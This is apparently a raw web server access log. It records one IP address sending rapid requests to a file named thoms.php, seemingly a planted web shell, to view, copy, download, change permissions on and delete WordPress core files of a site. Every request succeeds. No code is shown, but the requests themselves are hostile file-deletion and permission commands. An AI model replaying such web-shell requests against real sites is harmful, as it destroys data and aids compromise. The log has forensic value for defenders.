45.135.193.11 - - [11/Sep/2026:23:41:44 -0400] "GET /thoms.php?chmod=http.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11510 "http://163.245.207.76:443/thoms.php?chmod=http.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:44 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fjson-schema.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fjson-schema.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:44 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=bookmark.php HTTP/1.1" 200 17029 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=bookmark.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:44 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2FPHPMailer&p= HTTP/1.1" 200 12415 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2FPHPMailer&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:44 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-customize-setting.php HTTP/1.1" 200 20187 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-customize-setting.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:44 -0400] "GET /thoms.php?dl=script-modules.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=script-modules.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:44 -0400] "GET /thoms.php?chmod=class-wp-http-cookie.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-cookie.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:45 -0400] "GET /thoms.php?chmod=connectors.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=connectors.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:45 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=feed-rss2.php HTTP/1.1" 200 13546 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=feed-rss2.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:44 -0400] "GET /thoms.php?dl=class-wp-url-pattern-prefixer.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59215 "http://163.245.207.76:443/thoms.php?dl=class-wp-url-pattern-prefixer.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:45 -0400] "GET /thoms.php?chmod=class-http.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=class-http.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:45 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-ajax-response.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-ajax-response.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:45 -0400] "GET /thoms.php?del=feed-atom-comments.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=feed-atom-comments.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:45 -0400] "GET /thoms.php?chmod=class-wp-post-type.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=class-wp-post-type.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:45 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Futf8.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Futf8.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:45 -0400] "GET /thoms.php?dl=class-wp-oembed.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-oembed.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:45 -0400] "GET /thoms.php?del=speculative-loading.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=speculative-loading.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:46 -0400] "GET /thoms.php?chmod=customize&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=customize&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:45 -0400] "GET /thoms.php?dl=template-loader.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59240 "http://163.245.207.76:443/thoms.php?dl=template-loader.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:46 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2FText&p= HTTP/1.1" 200 12418 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2FText&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:46 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-key-service.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11906 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-key-service.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:46 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:46 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fai-client.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11862 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fai-client.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:46 -0400] "GET /thoms.php?del=block-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59228 "http://163.245.207.76:443/thoms.php?del=block-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:46 -0400] "GET /thoms.php?del=class-wp-tax-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59227 "http://163.245.207.76:443/thoms.php?del=class-wp-tax-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:46 -0400] "GET /thoms.php?chmod=class-wp-hook.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-hook.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:46 -0400] "GET /thoms.php?dl=class-wp-feed-cache.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59219 "http://163.245.207.76:443/thoms.php?dl=class-wp-feed-cache.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:47 -0400] "GET /thoms.php?chmod=template-loader.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=template-loader.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:47 -0400] "GET /thoms.php?dl=comment.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59216 "http://163.245.207.76:443/thoms.php?dl=comment.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:47 -0400] "GET /thoms.php?chmod=embed.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=embed.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:47 -0400] "GET /thoms.php?del=revision.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59267 "http://163.245.207.76:443/thoms.php?del=revision.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:47 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=utf8.php HTTP/1.1" 200 14790 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=utf8.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:47 -0400] "GET /thoms.php?dl=vars.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 58994 "http://163.245.207.76:443/thoms.php?dl=vars.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:47 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcss&p= HTTP/1.1" 200 12421 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcss&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:47 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-phpass.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-phpass.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:48 -0400] "GET /thoms.php?chmod=class-wp-ajax-response.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-ajax-response.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:48 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-dependency.php HTTP/1.1" 200 12925 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-dependency.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:48 -0400] "GET /thoms.php?chmod=class-wp-locale.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-locale.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:47 -0400] "GET /thoms.php?dl=class-wp-admin-bar.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59215 "http://163.245.207.76:443/thoms.php?dl=class-wp-admin-bar.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:48 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-speculation-rules.php HTTP/1.1" 200 14101 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-speculation-rules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:48 -0400] "GET /thoms.php?dl=compat-utf8.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59251 "http://163.245.207.76:443/thoms.php?dl=compat-utf8.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:48 -0400] "GET /thoms.php?dl=abilities-api.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=abilities-api.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:48 -0400] "GET /thoms.php?del=class-avif-info.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59227 "http://163.245.207.76:443/thoms.php?del=class-avif-info.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:48 -0400] "GET /thoms.php?del=deprecated.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59202 "http://163.245.207.76:443/thoms.php?del=deprecated.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:48 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fms-deprecated.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11846 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fms-deprecated.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:49 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=script-loader.php HTTP/1.1" 200 61324 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=script-loader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:49 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=theme-i18n.json HTTP/1.1" 200 12436 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=theme-i18n.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:49 -0400] "GET /thoms.php?del=capabilities.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=capabilities.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:49 -0400] "GET /thoms.php?del=class-wp-recovery-mode-link-service.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-link-service.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:49 -0400] "GET /thoms.php?del=class-wp-script-modules.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=class-wp-script-modules.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:49 -0400] "GET /thoms.php?dl=class-smtp.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59064 "http://163.245.207.76:443/thoms.php?dl=class-smtp.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:50 -0400] "GET /thoms.php?chmod=class-wp-block-processor.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-processor.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:50 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ficons.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ficons.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:50 -0400] "GET /thoms.php?dl=class-wp-fatal-error-handler.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-fatal-error-handler.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:50 -0400] "GET /thoms.php?dl=class-wp-filter-sentinel.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=class-wp-filter-sentinel.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:50 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-http-proxy.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-http-proxy.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:50 -0400] "GET /thoms.php?dl=pluggable-deprecated.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=pluggable-deprecated.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:50 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fblock-bindings HTTP/1.1" 200 13467 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes%2Fblock-bindings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:50 -0400] "GET /thoms.php?chmod=block-patterns&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=block-patterns&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:50 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fblock-patterns.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fblock-patterns.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:51 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-query.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-query.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:51 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-script-modules.php HTTP/1.1" 200 23701 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-script-modules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:51 -0400] "GET /thoms.php?dl=class-walker-category.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-walker-category.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:51 -0400] "GET /thoms.php?dl=class-wp-customize-widgets.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59228 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-widgets.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:51 -0400] "GET /thoms.php?chmod=robots-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=robots-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:51 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fblock-bindings&p= HTTP/1.1" 200 12419 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fblock-bindings&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
